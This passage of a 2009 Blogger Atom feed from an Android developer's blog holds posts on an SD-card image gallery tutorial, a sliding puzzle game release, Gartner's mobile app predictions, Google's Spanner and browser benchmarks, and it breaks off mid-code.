encoding="utf-8"?&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;FrameLayout &lt;br /&gt;    xmlns:android="http://schemas.android.com/apk/res/android"&lt;br /&gt;    android:orientation="vertical" &lt;br /&gt;    android:layout_width="fill_parent"&lt;br /&gt;    android:layout_height="fill_parent"&amp;gt;&lt;br /&gt;    &lt;br /&gt;    &amp;lt;GridView  &lt;br /&gt;        android:id="@+id/sdcard"&lt;br /&gt;        android:layout_width="fill_parent" &lt;br /&gt;        android:layout_height="fill_parent"&lt;br /&gt;        android:verticalSpacing="10dp"&lt;br /&gt;        android:horizontalSpacing="10dp" &lt;br /&gt;        android:stretchMode="columnWidth"&lt;br /&gt;        android:gravity="center" /&amp;gt;&lt;br /&gt;        &lt;br /&gt;&amp;lt;/FrameLayout&amp;gt;    &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;That's it. Let me know if you have any questions.&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3149305082771442880?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3149305082771442880/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3149305082771442880' title='67 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3149305082771442880'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3149305082771442880'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/11/displaying-images-from-sd-card-in.html' title='Displaying Images from SD Card In Android - Part 2'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>67</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3912806055982178494</id><published>2009-11-18T22:09:00.001-05:00</published><updated>2010-01-12T15:11:25.436-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='LBS'/><category scheme='http://www.blogger.com/atom/ns#' term='Gartner'/><category scheme='http://www.blogger.com/atom/ns#' term='Mobile Applications'/><category scheme='http://www.blogger.com/atom/ns#' term='NFC'/><title type='text'>Gartner's Top 10 Mobile Apps for 2012</title><content type='html'>&lt;div style="text-align: justify;"&gt;Gartner has released its top 10 applications for 2012.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: inherit;"&gt;"&lt;/span&gt;&lt;span style="font-family: inherit;"&gt;Consumer mobile applications and services are no longer the prerogative of mobile carriers,” said Sandy Shen, research director at Gartner. “&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;span style="font-family: inherit;"&gt;The increasing consumer interest in smartphones, the participation of Internet players in the mobile space, and the emergence of application stores and cross-industry services are reducing the dominance of mobile carriers. Each player will influence how the application is delivered and experienced by consumers, who ultimately vote with their attention and spending power&lt;/span&gt;&lt;span style="font-family: inherit;"&gt;".&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;LBS applications are at number 2. The LBS user base is predicted to grow to 526 million by 2012 (from 96 million in 2009). NFC is at number 7. I read &lt;a href="http://weblog.cenriqueortiz.com/mobility/2009/11/13/will-the-iphone-trigger-the-mobile-rfidnfc-revolution/"&gt;here&lt;/a&gt; that some new version of iPhone is supposed to include NFC support (actually support for proximity), and I do believe it's about time for the mobile industry to get behind this technology.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;You can read the entire report at &lt;a href="http://www.gartner.com/it/page.jsp?id=1230413"&gt;Gartner&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3912806055982178494?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3912806055982178494/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3912806055982178494' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3912806055982178494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3912806055982178494'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/11/gartners-top-10-mobile-apps-for-2012.html' title='Gartner&apos;s Top 10 Mobile Apps for 2012'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3115287950074431286</id><published>2009-11-13T11:08:00.000-05:00</published><updated>2009-11-13T11:08:05.409-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Engineering'/><title type='text'>Engineering Achievements and Challenges</title><content type='html'>&lt;div style="text-align: justify;"&gt;The National Academy of Engineering (&lt;a href="http://www.nae.edu/"&gt;NAE&lt;/a&gt;) put together two lists: one that ranks the 20 greatest engineering achievements of the 20th century, and one with engineering's challenges to be accomplished:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_mPswsGUhiws/Sv2DiB95qxI/AAAAAAAAEz8/Qte_4IWBwag/s1600-h/engineeringachievementsandchallenges.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_mPswsGUhiws/Sv2DiB95qxI/AAAAAAAAEz8/Qte_4IWBwag/s320/engineeringachievementsandchallenges.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;SOURCE: IEEE Spectrum&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3115287950074431286?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3115287950074431286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3115287950074431286' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3115287950074431286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3115287950074431286'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/11/engineering-achievements-and-challenges.html' title='Engineering Achievements and Challenges'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_mPswsGUhiws/Sv2DiB95qxI/AAAAAAAAEz8/Qte_4IWBwag/s72-c/engineeringachievementsandchallenges.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5582218067087352487</id><published>2009-11-12T07:46:00.003-05:00</published><updated>2009-11-13T11:08:50.516-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Games'/><category scheme='http://www.blogger.com/atom/ns#' term='Sliding Puzzle'/><category scheme='http://www.blogger.com/atom/ns#' term='Android Market'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Puzzle'/><title type='text'>Android Sliding Puzzle</title><content type='html'>&lt;div style="text-align: justify;"&gt;Yesterday I released my first Android application into the Android Market. The application is a sliding puzzle game, and comes into two flavors, a free (lite) version (called "Sliding Puzzle Lite"), and a full version ("Sliding Puzzle Full") at $0.99. The lite version has only the basic features, such as 9 pre-loaded images and the ability to view the full (final) image during game play. The full version has the following features:&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;pre-loaded with 9 images&lt;/li&gt;&lt;li&gt;4 difficulty levels (3x3, 4x4, 5x5, 6x6)&lt;/li&gt;&lt;li&gt;shuffle puzzle image&lt;/li&gt;&lt;li&gt;view final image&lt;/li&gt;&lt;li&gt;load image from SD Card&lt;/li&gt;&lt;li&gt;take a picture using the Camera and load it as a puzzle&lt;/li&gt;&lt;li&gt;displays a timer during game play&amp;nbsp;&lt;/li&gt;&lt;li&gt;displays how much percentage of the puzzle is done&lt;/li&gt;&lt;li&gt;displays the number of moves made&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Below are some screen shots of the application:&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_mPswsGUhiws/SvwBMiIK1YI/AAAAAAAAEz0/lpNMoIDdjQk/s1600-h/SlidingPuzzleFull_2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_mPswsGUhiws/SvwBMiIK1YI/AAAAAAAAEz0/lpNMoIDdjQk/s200/SlidingPuzzleFull_2.png" /&gt;&lt;/a&gt;&lt;a href="http://2.bp.blogspot.com/_mPswsGUhiws/SvwBETTqtII/AAAAAAAAEzs/yG6hNQWhQ48/s1600-h/SlidingPuzzleFull_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_mPswsGUhiws/SvwBETTqtII/AAAAAAAAEzs/yG6hNQWhQ48/s200/SlidingPuzzleFull_1.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;I want to make some observations about the entire process.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;First, the design was far from optimum in the first iteration; it was too complex for a one-screen game (one main screen, namely the puzzle screen). I started refactoring when I had to add some features and I noticed how hard it was to do just that. I ended up getting rid of some classes, methods, and instance variables all together, simplifying the design. Efficiency is crucial when developing for mobile devices. My background is in Java ME, where the restrictions are even bigger than on Android-based smartphones.&amp;nbsp;For example, because I had to work with key-value pairs,&amp;nbsp;instinctively I first went with a HashMap. I notice that the key-value&amp;nbsp;pairs where actually pairs of integers, so I switched to using a SparseIntArray, which is more efficient that a HashMap. An even better approach would have been to use to parallel arrays of ints, but that's exactly how the SparseIntArray class is implemented, thank you for that! Overall, I tried to follow the&amp;nbsp;guidelines&amp;nbsp;form &lt;a href="http://developer.android.com/guide/practices/design/performance.html"&gt;Designing for Performance&lt;/a&gt; document. Hence, the entire process was an&amp;nbsp;iterative/incremental one, based on add feature &amp;lt;=&amp;gt; test feature &amp;lt;=&amp;gt; fix bugs &amp;lt;=&amp;gt; refactor (I hope the model does not look like a waterfall one because it wasn't :)). I noticed that testing and fixing bugs took the most time (and I am sure I still have bugs left unnoticed by me). I have been testing for the past month (and I've been doing all this in my spare time, being that I am working on my PhD also). Testing was still done manually (I hate that I do not use some kind of unit testing in Android). My biggest problem was that I was getting out of memory exceptions when loading bitmaps (especially when loading from SD card). I ended up using&amp;nbsp;Bitmap.createScaledBitmap method to scale the bitmaps down. Furthermore, having the bitmaps displayed on the screen was initially done in a 'bulk' manner, where the screen would&amp;nbsp;freeze&amp;nbsp;until the first couple of images could be displayed. That's not user friendly at all; reading some blogs from smarter people, I ended up using a AsyncTask, where each image I would load, I would display on the screen, one at a time. With that, you would images being loaded on the display, similar to how the Gallery application (that comes pre-loaded on the phone) works.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Second, nothing beats testing on a real device. Emulators do come close, but having a device made quite a difference. For example, on some G1 phones, the camera software has a &lt;a href="http://code.google.com/p/android/issues/detail?id=1193"&gt;known bug&lt;/a&gt;, namely that the camera preview does not work in&amp;nbsp;portrait&amp;nbsp;mode. This issue is of course non-existent in the emulator.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I keep telling fellow students that I work with (or teach to), that nothing beats writing applications. Sure, you can read books (which of course you have to do), run examples, but if you do not start coding, you will never get to the next level as a programmer.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;There are other lessons I have learned, and maybe I will post them in a later post.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Overall, I am looking forward to adding new features to the full version of the game (such as speech recognition, integration with&amp;nbsp;Facebook, and many more), and also developing the next game from the list of ideas that I have.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I hope you enjoy the sliding puzzle, at least as much as I enjoyed developing it!&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5582218067087352487?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5582218067087352487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5582218067087352487' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5582218067087352487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5582218067087352487'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/11/android-sliding-puzzle.html' title='Android Sliding Puzzle'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_mPswsGUhiws/SvwBMiIK1YI/AAAAAAAAEz0/lpNMoIDdjQk/s72-c/SlidingPuzzleFull_2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7208818770653068216</id><published>2009-11-07T08:50:00.001-05:00</published><updated>2009-11-07T08:51:46.018-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='user interface design'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>The Future of UI Design</title><content type='html'>Microsoft's vision of how the future of user interface design will look like:&lt;br /&gt;&lt;br /&gt;&lt;object height="340" width="560"&gt;&lt;param name="movie" value="http://www.youtube.com/v/8Ff7SzP4gfg&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/8Ff7SzP4gfg&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7208818770653068216?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7208818770653068216/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7208818770653068216' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7208818770653068216'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7208818770653068216'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/11/future-of-ui-design.html' title='The Future of UI Design'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-8745845708448628091</id><published>2009-10-31T09:14:00.002-04:00</published><updated>2009-11-13T11:09:15.006-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='BigTable'/><category scheme='http://www.blogger.com/atom/ns#' term='Spanner'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Distributed Systems'/><title type='text'>Beyond BigTable - Spanner</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://en.wikipedia.org/wiki/BigTable"&gt;BigTable&lt;/a&gt; is a distributed storage system designed to work in very large distributed systems where you have petabytes of data on thousands of servers. It is currently used in over 100 projects such as Google Earth, Google Maps, Blogger, Orkut, and many more.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;However, there is some current work at Google on a new storage and computation system called Spanner. Some of its main&amp;nbsp;characteristics:&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Automation: moves and replicates data based on usage and constraints patterns.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Use of hierarchical directories (instead of rows as it is in BigTable).&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Support of distributed transactions&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Fine grained access control on the data&lt;/li&gt;&lt;li style="text-align: justify;"&gt;String consistency across tablet replicas&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Scale to 10M machines and 1k petabytes of data, across 1000s of locations&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;There is a keynote talk by Jeff Dean of Google on "Design, Lessons and Advice from Building Large Distributed Systems" that talks about large distributed systems and includes topics on BigTable and Spanner. You can view the slides of the presentation &lt;a href="http://www.cs.cornell.edu/projects/ladis2009/talks/dean-keynote-ladis2009.pdf"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-8745845708448628091?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/8745845708448628091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=8745845708448628091' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8745845708448628091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/8745845708448628091'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/10/beyond-bigtable-spanner.html' title='Beyond BigTable - Spanner'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4942750904552427795</id><published>2009-10-21T10:45:00.002-04:00</published><updated>2009-11-13T11:09:39.470-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Current and upcoming Android Phones</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://wiseandroid.com/NewsItem.aspx?category=News&amp;amp;path=October&amp;amp;itemid=14"&gt;WiseAndroid&lt;/a&gt; has gathered a list of 50+ Android Phones that are currently on the market or will become available in the near future. &lt;a href="http://www.techcrunch.com/2009/10/19/android-galore-a-complete-list-of-the-android-phones-and-their-specs-droid-best/"&gt;TechCrunch&lt;/a&gt; provides images for (some of) the phones. Thank you for the effort!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4942750904552427795?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4942750904552427795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4942750904552427795' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4942750904552427795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4942750904552427795'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/10/current-and-upcoming-android-phones.html' title='Current and upcoming Android Phones'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4427318457812813649</id><published>2009-10-15T13:33:00.001-04:00</published><updated>2009-11-13T11:10:01.150-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Performance Comparison of Major Web Browsers</title><content type='html'>&lt;div style="text-align: justify;"&gt;Six Revisions has &lt;a href="http://sixrevisions.com/infographics/performance-comparison-of-major-web-browsers/"&gt;published&lt;/a&gt; a performance comparison of the major five web browsers (Firefox, Chrome, IE, Opera, and Safari) in terms of JavaScript speed, CPU usage under stress, DOM selection, CSS rendering speed, page load time, and browser cache performance. Bottom line, Google Chrome 3.0 wins in four out of the six performance indicators, coming third and second in the DOM Selection Speed (won by Opera) and Page Load Time (won by Firefox) tests.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4427318457812813649?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4427318457812813649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4427318457812813649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4427318457812813649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4427318457812813649'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/10/performance-comparison-of-major-web.html' title='Performance Comparison of Major Web Browsers'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-920173627580849439</id><published>2009-10-02T15:14:00.000-04:00</published><updated>2009-10-02T15:14:52.747-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Java EE'/><category scheme='http://www.blogger.com/atom/ns#' term='eBooks'/><title type='text'>Free Java and Java EE eBooks</title><content type='html'>A list if free eBooks on Java and Java EE technologies: &lt;a href="http://www.interviewjava.com/2009/09/ebooks-on-java-javaee-technologies.html"&gt;http://www.interviewjava.com/2009/09/ebooks-on-java-javaee-technologies.html&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-920173627580849439?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/920173627580849439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=920173627580849439' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/920173627580849439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/920173627580849439'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/10/free-java-and-java-ee-ebooks.html' title='Free Java and Java EE eBooks'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7934106266769226316</id><published>2009-09-28T12:43:00.016-04:00</published><updated>2009-11-22T18:06:56.121-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Displaying images from SD card in Android</title><content type='html'>&lt;div style="text-align: justify;"&gt;Below you will find a Android example of how to access and display images that are stored on your SD card.&lt;br /&gt;&lt;br /&gt;I wrote &lt;a href="http://mihaifonoage.blogspot.com/2009/11/displaying-images-from-sd-card-in.html"&gt;part 2&lt;/a&gt;&amp;nbsp;for this article, where images are loaded in the background using an&amp;nbsp;asynchronous&amp;nbsp;task. It is an&amp;nbsp;improvement&amp;nbsp;over this article, but I strongly suggest trying this one first to fully appreciate the differences between the two approaches.&lt;br /&gt;&lt;br /&gt;The main idea is to make use of the MediaStore class, which is a Media provider that contains data for all available media on both internal  and external storage devices (such as an SD card). An adapter is used as a bridge between the data and the view.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;The activity is shown below:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"&gt;&lt;code&gt;package blog.android.sdcard;&lt;br /&gt;&lt;br /&gt;import android.app.Activity;&lt;br /&gt;import android.content.Context;&lt;br /&gt;import android.content.Intent;&lt;br /&gt;import android.database.Cursor;&lt;br /&gt;import android.net.Uri;&lt;br /&gt;import android.os.Bundle;&lt;br /&gt;import android.provider.MediaStore;&lt;br /&gt;import android.view.Menu;&lt;br /&gt;import android.view.MenuInflater;&lt;br /&gt;import android.view.MenuItem;&lt;br /&gt;import android.view.View;&lt;br /&gt;import android.view.ViewGroup;&lt;br /&gt;import android.widget.AdapterView;&lt;br /&gt;import android.widget.BaseAdapter;&lt;br /&gt;import android.widget.GridView;&lt;br /&gt;import android.widget.ImageView;&lt;br /&gt;import android.widget.AdapterView.OnItemClickListener;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * Displays images from an SD card.&lt;br /&gt; */&lt;br /&gt;public class SDCardImagesActivity extends Activity {&lt;br /&gt;&lt;br /&gt;    /**&lt;br /&gt;     * Cursor used to access the results from querying for images on the SD card.&lt;br /&gt;     */&lt;br /&gt;    private Cursor 